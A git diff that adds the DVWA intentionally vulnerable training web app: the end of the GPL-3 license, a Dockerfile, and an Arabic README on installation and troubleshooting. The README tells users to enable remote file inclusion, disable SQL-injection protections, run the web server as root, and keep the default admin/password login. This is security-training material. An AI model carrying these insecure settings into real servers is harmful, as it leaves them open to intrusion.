+for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + \ No newline at end of file diff --git a/DVWA/Dockerfile b/DVWA/Dockerfile new file mode 100644 index 00000000..662ba1f5 --- /dev/null +++ b/DVWA/Dockerfile @@ -0,0 +1,25 @@ +FROM docker.io/library/php:8-apache + +LABEL org.opencontainers.image.source=https://github.com/digininja/DVWA +LABEL org.opencontainers.image.description="DVWA pre-built image." +LABEL org.opencontainers.image.licenses="gpl-3.0" + +WORKDIR /var/www/html + +# https://www.php.net/manual/en/image.installation.php +RUN apt-get update \ + && export DEBIAN_FRONTEND=noninteractive \ + && apt-get install -y zlib1g-dev libpng-dev libjpeg-dev libfreetype6-dev iputils-ping git \ + && apt-get clean -y && rm -rf /var/lib/apt/lists/* \ + && docker-php-ext-configure gd --with-jpeg --with-freetype \ + && a2enmod rewrite \ + # Use pdo_sqlite instead of pdo_mysql if you want to use sqlite + && docker-php-ext-install gd mysqli pdo pdo_mysql + +COPY --from=composer:latest /usr/bin/composer /usr/local/bin/composer +COPY --chown=www-data:www-data . . +COPY --chown=www-data:www-data config/config.inc.php.dist config/config.inc.php + +# This is configuring the stuff for the API +RUN cd /var/www/html/vulnerabilities/api \ + && composer install \ diff --git a/DVWA/README.ar.md b/DVWA/README.ar.md new file mode 100644 index 00000000..b34415df --- /dev/null +++ b/DVWA/README.ar.md @@ -0,0 +1,409 @@ +# DAMN VULNERABLE WEB APPLICATION + +إن Damn Vulnerable Web Application (DVWA) هو تطبيق ويب تم إضعافه عمداً ومصمم بـ PHP / MySQL. الهدف الرئيسي هو مساعدة مختصي أمن المعلومات وذلك باختبار مهاراتهم وأدواتهم في بيئة تشبه البيئة الحقيقية، ومساعدة مطوري الويب على فهم طرق تأمين تطبيقات الويب بشكل أفضل ومساعدة كل من الطلاب والمدرسين في التعرف على أمان تطبيقات الويب في بيئة محكمة. + +الهدف من DVWA هو **التدرب على بعض نقاط الضعف على الويب الأكثر شيوعًا** ، ضمن **مستويات مختلفة من الصعوبة** ، بواجهة بسيطة ومباشرة. +يرجى ملاحظة أن هناك **ثغرات موثقة وغير موثقة** في هذا التطبيق ,هو إجراء متعمد. نحن نشجع على محاولة اكتشاف أكبر عدد ممكن من المشكلات. +- - - + +## تحذير! + +إن Damn Vulnerable Web Application (DVWA) ضعيف للغاية أمنياً! **لا تضعه في مجلد html العام في الاستضافة الخاصة بك أو الخوادم التي تعمل على الانترنت** ، إذ أنه سيتم اختراقها. يُوصى باستخدام كيان افتراضي (مثل [VirtualBox] (https://www.virtualbox.org/) أو [VMware] (https://www.vmware.com/)) ، ويتم تعيينه على وضع شبكة NAT، يمكنك تنزيل وتثبيت [XAMPP] (https://www.apachefriends.org/) لخادم الويب وقاعدة البيانات. + + +### إخلاء مسؤولية + +نحن لا نتحمل مسؤولية الطريقة التي يستخدم بها أي شخص هذا التطبيق (DVWA). إذ أننا أوضحنا أغراض التطبيق ولا ينبغي استخدامه بشكل ضار. لقد أصدرنا تحذيرات واتخذنا تدابير لمنع المستخدمين من تثبيت DVWA على خوادم الويب الحقيقية. إذا تم اختراق خادم الويب الخاص بك عن طريق تثبيت DVWA ، فهذه ليست مسؤوليتنا ، بل تقع على عاتق الشخص / الأشخاص الذين قاموا بتحميله وتثبيته. + +- - - + +## ترخيص + +هذا الملف جزء من Damn Vulnerable Web Application (DVWA). + +يعد تطبيق Damn Vulnerable Web Application (DVWA) برنامجًا مجانيًا: يمكنك إعادة توزيعه و / أو تعديله +بموجب شروط GNU General Public License كما تم نشرها بواسطة +Free Software Foundation ، إما الإصدار 3 من الترخيص ، أو +(حسب اختيارك) أي إصدار لاحق. + +يتم توزيع Damn Vulnerable Web Application (DVWA) لتحقيق الفائدة ، +ولكن دون أي ضمان ؛ حتى بدون الضمان الضمني لـ +القابلية للتسويق أو الملاءمة لغرض معين. يرجى الاطلاع على +ترخيص GNU General Public License لمزيد من التفاصيل. + + +يجب أن تكون قد تلقيت نسخة من ترخيص GNU General Public License +مع Damn Vulnerable Web Application (DVWA)، إذا لم تتلقى هذه الرخصة، يرجى الاطلاع على . + +- - - + +## الترجمة + +هذا الملف متوفر بعدة لغات: + +- الصينية: [简体中文](README.zh.md) +- التركية: [Türkçe](README.tr.md) +- العربية: [العربية](README.ar.md) + +إذا كنت ترغب في المساهمة في ترجمة ، يرجى تقديم PR . ولا يعني ذلك مجرد استخدام خدمة الترجمة من Google وإرسال المساهمة ، إذ أنه سيتم رفضها. + +- - - + +## التحميل + +توجد إصدارات مختلفة من DVWA حولها ، والإصدار الوحيد المدعوم هو أحدث مصدر من مستودع GitHub الرسمي. يمكنك إما سحب نسخة clone من الريبو Repo: + +``` +git clone https://github.com/digininja/DVWA.git +``` + +أو [تحميل ملف ZIP للملفات](https://github.com/digininja/DVWA/archive/master.zip). + +- - - + +## التثبيت + +**يرجى التأكد من وجود ملف config / config.inc.php الخاص بك. إن وجود ملف config.inc.php.dist بمفرده لن يكون كافيًا ويجب عليك تعديله ليلائم بيئتك وإعادة تسميته إلى config.inc.php ، قد يخفي Windows امتدادات الملفات، يجب عليك إظهارها لتعديل امتداد الملف.](https://www.howtogeek.com/205086/beginner-how-to-make-windows-show-file-extensions/)** + +### فيديو التثبيت + +- [تثبيت Damn Vulnerable Web Application (DVWA) على نظام التشغيل Windows 10 ](https://www.youtube.com/watch?v=cak2lQvBRAo) [12:39 دقيقة] + +### تثبيت Windows + XAMPP + +أسهل طريقة لتثبيت DVWA هي تحميل [XAMPP] وتثبيته (https://www.apachefriends.org/) إذا لم يكن لديك خادم الويب جاهز ومعد مسبقاً. + +يعد XAMPP وسيلة سهلة لتثبيت Apache Distribution في أنظمة Linux و Solaris و Windows و Mac OS X. تتضمن الحزمة خادم الويب Apache و MySQL و PHP و Perl وخادم FTP و phpMyAdmin. + +يمكن تحميل XAMPP من هنا: + + +ببساطة قم بفك ضغط dvwa.zip ، ضع الملفات التي تم فك ضغطها في مجلد html العام ، ثم اطلب العنوان التالي من المتصفح: `http://127.0.0.1/dvwa/setup.php` + +### حزم Linux +إذا كنت تستخدم توزيعة Linux مبنية على Debian ، فستحتاج إلى تثبيت الحزم التالية _ (أو ما يكافئها) _: + +`apt-get -y install apache2 mariadb-server php php-mysqli php-gd libapache2-mod-php` + +سيعمل الموقع مع MySQL بدلاً من MariaDB لكننا نوصي بشدة باستخدام MariaDB لأنه يعمل خارج الصندوق، سيتعين عليك إجراء تغييرات لتمكين MySQL من العمل بشكل صحيح. + +### إعداد قاعدة البيانات + +لإعداد قاعدة البيانات ، ما عليك سوى الضغط على الزر `Setup DVWA` في القائمة الرئيسية ، ثم االضغط على الزر `Create / Reset Database`. سيؤدي هذا إلى إنشاء / إعادة تعيين قاعدة البيانات وإضافة بعض البيانات. + +إذا ظهر خطأ أثناء محاولة إنشاء قاعدة البيانات، فتأكد من صحة بيانات الدخول قاعدة البيانات (اسم المستخدم وكلمة المرور) في الملف `/config/config.inc.php` *وهذا الملف يختلف عن config.inc.php.dist والذي يعتبر مثال.* + +تم ضبط قيم المتحولات التالية افتراضياً وفق ما يلي: + +```php +$_DVWA[ 'db_server'] = '127.0.0.1'; +$_DVWA[ 'db_port'] = '3306'; +$_DVWA[ 'db_user' ] = 'dvwa'; +$_DVWA[ 'db_password' ] = 'p@ssw0rd'; +$_DVWA[ 'db_database' ] = 'dvwa'; +``` + +ملاحظة ، إذا كنت تستخدم MariaDB بدلاً من MySQL (يعد MariaDB افتراضيًا في Kali) ، فلا يمكنك استخدام root كمستخدم، يجب عليك إنشاء مستخدم قاعدة بيانات جديد. للقيام بذلك ، اتصل بقاعدة البيانات بصفتك المستخدم root، ونفذ الأوامر التالية: + +```mysql +mysql> create database dvwa; +Query OK, 1 row affected (0.00 sec) + +mysql> create user dvwa@localhost identified by 'p@ssw0rd'; +Query OK, 0 rows affected (0.01 sec) + +mysql> grant all on dvwa.* to dvwa@localhost; +Query OK, 0 rows affected (0.01 sec) + +mysql> flush privileges; +Query OK, 0 rows affected (0.00 sec) +``` + +### تكوينات أخرى + +اعتمادًا على نظام التشغيل الخاص بك وإصدار PHP ، قد ترغب في تغيير التكوين الافتراضي default configuration. سيكون موقع الملفات مختلفًا حسب كل جهاز. + +**سماحيات المجلد**: +* المسار `/hackable/uploads/` - يجب أن تستطيع خدمة الويب الكتابة على هذا الملف (لتنفيذ وظيفة تحميل الملف). +* المسار `/external/phpids/0.6/lib/IDS/tmp/phpids_log.txt` - يجب أن تستطيع خدمة الويب الكتابة على هذا الملف (إذا كنت ترغب باستخدام PHPIDS). + + +**تكوين PHP**: +* الخيار `allow_url_include = on` - السماح بتضمين الملفات عن بعد Remote File Inclusions (RFI) [[allow_url_include](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include)] +* الخيار `allow_url_fopen = on` - السماح بتضمين الملفات عن بعد Remote File Inclusions (RFI) [[allow_url_fopen](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen)] +* الخيار `safe_mode = off` - (إذا كان إصدار PHP أقل من أو يساوي 5.4) السماح بحقن SQL - SQL Injection (SQLi) [[safe_mode](https://secure.php.net/manual/en/features.safe-mode.php)] +* الخيار `magic_quotes_gpc = off` - (إذا كان إصدار PHP أقل من أو يساوي 5.4) السماح بحقن SQL - SQL Injection (SQLi) [[magic_quotes_gpc](https://secure.php.net/manual/en/security.magicquotes.php)] +* الخيار `display_errors = off` - (اختياري) إخفاء رسائل تحذير PHP لجعلها أقل إسهابًا [[display_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)] + +**الملف: `config/config.inc.php`**: + +* المتحولات `$_DVWA[ 'recaptcha_public_key' ]` و`$_DVWA[ 'recaptcha_private_key' ]` يجب توليد قيم هذه المتحولات وذلك من خلال: https://www.google.com/recaptcha/admin/create + +### بيانات الدخول الافتراضية + +**اسم المستخدم الالافتراضي = `admin`** + +**كلمة المرور الافتراضية = `password`** + +_...يمكن بسهولة تخمينها باستخدام هجوم Brute Force ;)_ + +رابط تسجيل الدخول : http://127.0.0.1/login.php + +_ملاحظة: سيختلف الرابط في حال تثبيت DVWA في مسار مختلف._ + +- - - + +## حاوية Docker + +- يمكنك زيارة [dockerhub صفحة](https://hub.docker.com/r/vulnerables/web-dvwa/) +`docker run --rm -it -p 80:80 vulnerables/web-dvwa` + +يرجى التأكد من أنك تستخدم aufs بسبب مشاكل MySQL السابقة. نفذ الأمر `docker info` للتحقق من storage driver. إذا لم يكن aufs ، يرجى تغييره على هذا النحو. هناك أدلة لكل نظام تشغيل حول كيفية القيام بذلك ، لكنها مختلفة تمامًا لذا لن نغطي ذلك هنا. + +- - - + +## استكشاف الأخطاء وإصلاحها + +يفترض هذا أنك تستخدم توزيعة قائمة على Debian ، كـ Debian و Ubuntu و Kali. بالنسبة إلى التوزيعات الأخرى ، اتبع ذلك ، ولكن قم بتعديل الأمر عند الضرورة. + +### الحصول على استجابة 404 عند تصفح الموقع + +إذا كنت تواجه هذه المشكلة ، فأنت بحاجة إلى فهم مواقع الملفات. بشكل افتراضي ، جذر مستندات Apache (Apache document root هو المكان الذي يبدأ فيه البحث عن محتوى الويب) هو `/var/www/html/` إذا وضعت الملف `hello.txt` في هذا المجلد، يمكن الوصول إليه بطلب `http://localhost/hello.txt` من المتصفح. + +إذا أنشأت مجلد ووضعت الملف فيه - `/var/www/html/mydir/hello.txt` فيمكنك الوصول إلى الملف من الخلال المتصفح بزيارة `http://localhost/mydir/hello.txt`. + +يعتبر Linux بشكل افتراضي حساسًا لحالة الأحرف ، وبالتالي في المثال أعلاه ، إذا حاولت التصفح للوصول إلى أي من الروابط التالية، فستحصل على `404 Not Found`: + +- `http://localhost/MyDir/hello.txt` +- `http://localhost/mydir/Hello.txt` +- `http://localhost/MYDIR/hello.txt` + +كيف يؤثر ذلك على DVWA؟ يستخدم معظم الأشخاص git للتحقق من DVWA في `/var/www/html` ، وهذا يمنحهم الدليل `/var/www/html/DVWA/` متضمنة جميع ملفات DVWA بداخله. ثم يقومون بطلب الرابط `http://localhost/`من المتصفح ويحصلون على 404 أو الصفحة الافتراضية في Apache. نظرًا لأن الملفات موجودة في مجلد DVWA ، يجب طلب `http://localhost/DVWA`. + +الخطأ الشائع الآخر هو طلب الرابط `http://localhost/dvwa` والذي سيعطي` 404` لأن `dvwa` ليس` DVWA` بسبب حساسية الأحرف في Linux. + +لذلك بعد الإعداد ، إذا حاولت زيارة الموقع والحصول على "404" ، ففكر في المكان الذي قمت بتثبيت الملفات فيه ، وأين ترتبط بالمسار الأساسي ، وما هو اسم المجلد الذي استخدمته. + + +### مشكلة "Access denied" + +إذا رأيت ما يلي عند تشغيل البرنامج النصي للإعداد setup script ، فهذا يعني أن اسم المستخدم أو كلمة المرور في ملف التكوين لا يتطابقان مع تلك التي تم تكوينها في قاعدة البيانات: + +``` +Database Error #1045: Access denied for user 'notdvwa'@'localhost' (using password: YES). +``` + +يخبرك الخطأ أن اسم المستخدم هو `notdvwa`. + +يشير الخطأ التالي إلى أنك وجهت ملف التكوين إلى قاعدة البيانات الخاطئة. + +``` +SQL: Access denied for user 'dvwa'@'localhost' to database 'notdvwa' +``` + +رسالة الخطأ توضح أنك تستخدم المستخدم `dvwa` وتحاول الاتصال بقاعدة البيانات `notdvwa`. + +أول ما يجب القيام به هو التحقق مرة أخرى مما تعتقد أنك قد وضعته في ملف التكوين صحيح ومطابق للبيانات الفعلية. + +إذا كان يتطابق مع ما تتوقعه ، فإن الشيء التالي الذي يجب فعله هو التحقق من أنه يمكنك تسجيل الدخول كمستخدم في محرر الأوامر command line. بافتراض أن لديك مستخدم قاعدة بيانات لـ `dvwa` وكلمة مرور هي `p@ssw0rd`، قم بتنفيذ الأمر التالي: + +``` +mysql -u dvwa -pp@ssw0rd -D dvwa +``` + +*ملاحظة: لا يوجد مسافة بعد -p* + +إذا ظهر الخرج التالي، فكلمة المرور صحيحة: + +``` +Welcome to the MariaDB monitor. Commands end with ; or \g. +Your MariaDB connection id is 14 +Server version: 10.3.22-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10 + +Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. + +Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. + +MariaDB [dvwa]> +``` + +نظرًا لأنه يمكنك الاتصال في سطر الأوامر ، فمن المحتمل أن يكون هناك خطأ ما في ملف التكوين ، تحقق مرة أخرى من ذلك ثم قم بإنشاء تذكرة للمشكلة إذا كنت لا تزال غير قادر على التشغيل. +إذا رأيت ما يلي ، فإن اسم المستخدم أو كلمة المرور التي تستخدمها غير صحيحة. كرر خطوات [إعداد قاعدة البيانات](#إعداد-قاعدة-البيانات) وتأكد من استخدام اسم المستخدم وكلمة المرور نفسهما طوال العملية. + +``` +ERROR 1045 (28000): Access denied for user 'dvwa'@'localhost' (using password: YES) +``` + +إذا حصلت على ما يلي ، فإن بيانات الدخول صحيحة ولكن ليس لدى المستخدم حق الوصول إلى قاعدة البيانات. مرة أخرى ، كرر خطوات الإعداد وتحقق من اسم قاعدة البيانات التي تستخدمها. +``` +ERROR 1044 (42000): Access denied for user 'dvwa'@'localhost' to database 'dvwa' +``` + +الخطأ النهائي الذي يمكن أن تحصل عليه هو : + +``` +ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2) +``` + +هذه ليست مشكلة مصادقة ولكنها تخبرك أن خادم قاعدة البيانات لا يعمل. يمكنك تشغيله بتنفيذ الأمر التالي + +```sh +sudo service mysql start +``` + +### مشكلة Unknown authentication method + +مع أحدث إصدارات MySQL ، لم يعد بإمكان PHP الاتصال بقاعدة البيانات في تكوينها الافتراضي. إذا حاولت تشغيل البرنامج النصي للإعداد setup script وتلقيت الرسالة الjالية ، فهذا يعني أنه عليك إجراء بعض التعديلات على التكوين. +``` +Database Error #2054: The server requested authentication method unknown to the client. +``` + +لديك خياران ، أسهلهما هو إلغاء تثبيت MySQL وتثبيت MariaDB. تجد في الرابط التالي الدليل الرسمي لمشروع MariaDB: + + + +بدلاً من ذلك، اتبع الخطوات التالية: + +1- باستخدام الحساب root، عدل الملف التالي: `/etc/mysql/mysql.conf.d/mysqld.cnf`. + +2- أضف ما يلي تحت لاسطر `[mysqld]`: + `default-authentication-plugin=mysql_native_password` + +3- أعد تشغيل خدمة قواعد البيانات: `sudo service mysql restart`. + +4- تخقق من طريقة المصادقة الخاصة بحساب قاعدة البيانات: + + + ```sql + mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa'; + +-----------+------------------+-----------------------+ + | Host | User | plugin | + +-----------+------------------+-----------------------+ + | localhost | dvwa | caching_sha2_password | + +-----------+------------------+-----------------------+ + 1 rows in set (0.00 sec) + ``` + + +5- من المرجح أنها `caching_sha2_password`، إذا كان كذلك، نفذ ما يلي: + + ```sql + mysql> ALTER USER dvwa@localhost IDENTIFIED WITH mysql_native_password BY 'p@ssw0rd'; + ``` + + +6- تحقق مجدداً، يجب أن تصبح الآن `mysql_native_password` . + + ```sql + mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa'; + +-----------+------+-----------------------+ + | Host | User | plugin | + +-----------+------+-----------------------+ + | localhost | dvwa | mysql_native_password | + +-----------+------+-----------------------+ + 1 row in set (0.00 sec) + ``` + +بعد كل ما سبق، يجب أن تعمل عملية الإعدد بحالتها الطبيعية. + +إذا كنت تريد المزيد من المعلومات يرجى الاطلاع على: . + +### مشكلة Database Error #2002: No such file or directory. + +إذا كان خادم قاعدة البيانات لا يعمل. وكنت تسخدم توزيعة مبنية على Debian، يمكن القيام بذلك باستخدام: + +```sh +sudo service mysql start +``` + +### معالجة الأخطاء "MySQL server has gone away" و "Packets out of order" + +هناك عدة أسباب لحدوث هذه الأخطاء ، ولكن السبب المرجح هو عدم توافق إصدار خادم قاعدة البيانات مع إصار PHP. + +وهو الأكثر شيوعًا عند تشغيل أحدث إصدار من MySQL و PHP ، لا يعمل التطبيق بشكل جيد. ولذلك ننصح باستبدال MySQL بـ MariaDB لأن هذه المشكلة لا يوجد دعم لها في الوقت الحالي. + +لمزيد من المعلومات، يرجى الاطلاع على: + + + +### لا يعمل حقن SQL باستخدام PHP v5.2.6 + +توقف دعم PHP 5.x منذ يناير 2019 ، لذلك نوصي بتشغيل DVWA بإصدار 7.x الحالي ، إذا كنت مضطراً لاستخدام الإصدار 5.x .. + +إذا كنت تستخدم إصدار PHP v5.2.6 أو أحدث ، فستحتاج إلى القيام بما يلي حتى يعمل حقن SQL والثغرات الأمنية الأخرى. + +استبدل الآتي في ملف `htaccess.`: + +```php + + php_flag magic_quotes_gpc off + #php_flag allow_url_fopen on + #php_flag allow_url_include on + +``` + +بهذا: + +```php + + magic_quotes_gpc = Off + allow_url_fopen = On + allow_url_include = On + +``` + +### فشل حقن الأوامر Command Injection +قد لا يكون لدى Apache امتيازات عالية كافية لتنفيذ الأوامر على خادم الويب. إذا كنت تقوم بتشغيل DVWA على نظام Linux ، فتأكد من تسجيل الدخول كمستخدم root. أما في Windows قم بتسجيل الدخول كـ administrator. + +### لماذا لا يمكن الاتصال بقاعدة البيانات في CentOS؟ + +قد تواجه مشاكل مع SELinux، قم إما بتعطيل SELinux أو تشغيل هذا الأمر للسماح لخادم الويب بالتخاطب مع قاعدة البيانات: + +``` +setsebool -P httpd_can_network_connect_db 1 +``` + +### لأي مشكلة أخرى + +للحصول على أحدث معلومات استكشاف الأخطاء وإصلاحها ، يرجى قراءة كل من التذاكر المفتوحة والمغلقة في الريبو git repo: + + + +قبل إرسال التذكرة ، يرجى التأكد من تشغيل أحدث إصدار من الكود من الريبو. هذا ليس أحدث إصدار ، هذا هو أحدث كود من الفرع الرئيسي master branch . + +في حالة إنشاء تذكرة ، يرجى تقديم المعلومات التالية على الأقل: + +- نظام التشغيل +- آخر 5 أسطر من سجل أخطاء خادم الويب مباشرة بعد حدوث أي خطأ تقوم بالإبلاغ عنه +- إذا كانت المشكلة تتعلق بمصادقة قاعدة البيانات ، فانتقل إلى الخطوات السابقة أعلاه وقم بتصوير كل خطوة. وأرسلها مع لقطة شاشة لقسم ملف التكوين الذي يظهر مستخدم قاعدة البيانات وكلمة المرور. +- وصف كامل للخطأ الذي يحدث ، وما تتوقع حدوثه ، وما حاولت فعله لإصلاحه. "تعطل تسجيل الدخول" لا يكفي بالنسبة لنا لفهم مشكلتك والمساعدة في حلها. + + +- - - + +## حقن SQL في SQLite3 + +_ الدعم لهذا الأمر محدود ، قبل طرح مشكلتك، يرجى التأكد من استعدادك للعمل على تصحيح الأخطاء ، ولا تكتب ببساطة "أنه لا يعمل" ._ + +بشكل افتراضي ، يتم تنفيذ SQLi و Blind SQLi على خادم MariaDB / MySQL المستخدم في الموقع ولكن من الممكن التبديل لإجراء اختبار SQLi على SQLite3 بدلاً من ذلك. + +لن نتطرق إلى كيفية تشغيل SQLite3 مع PHP 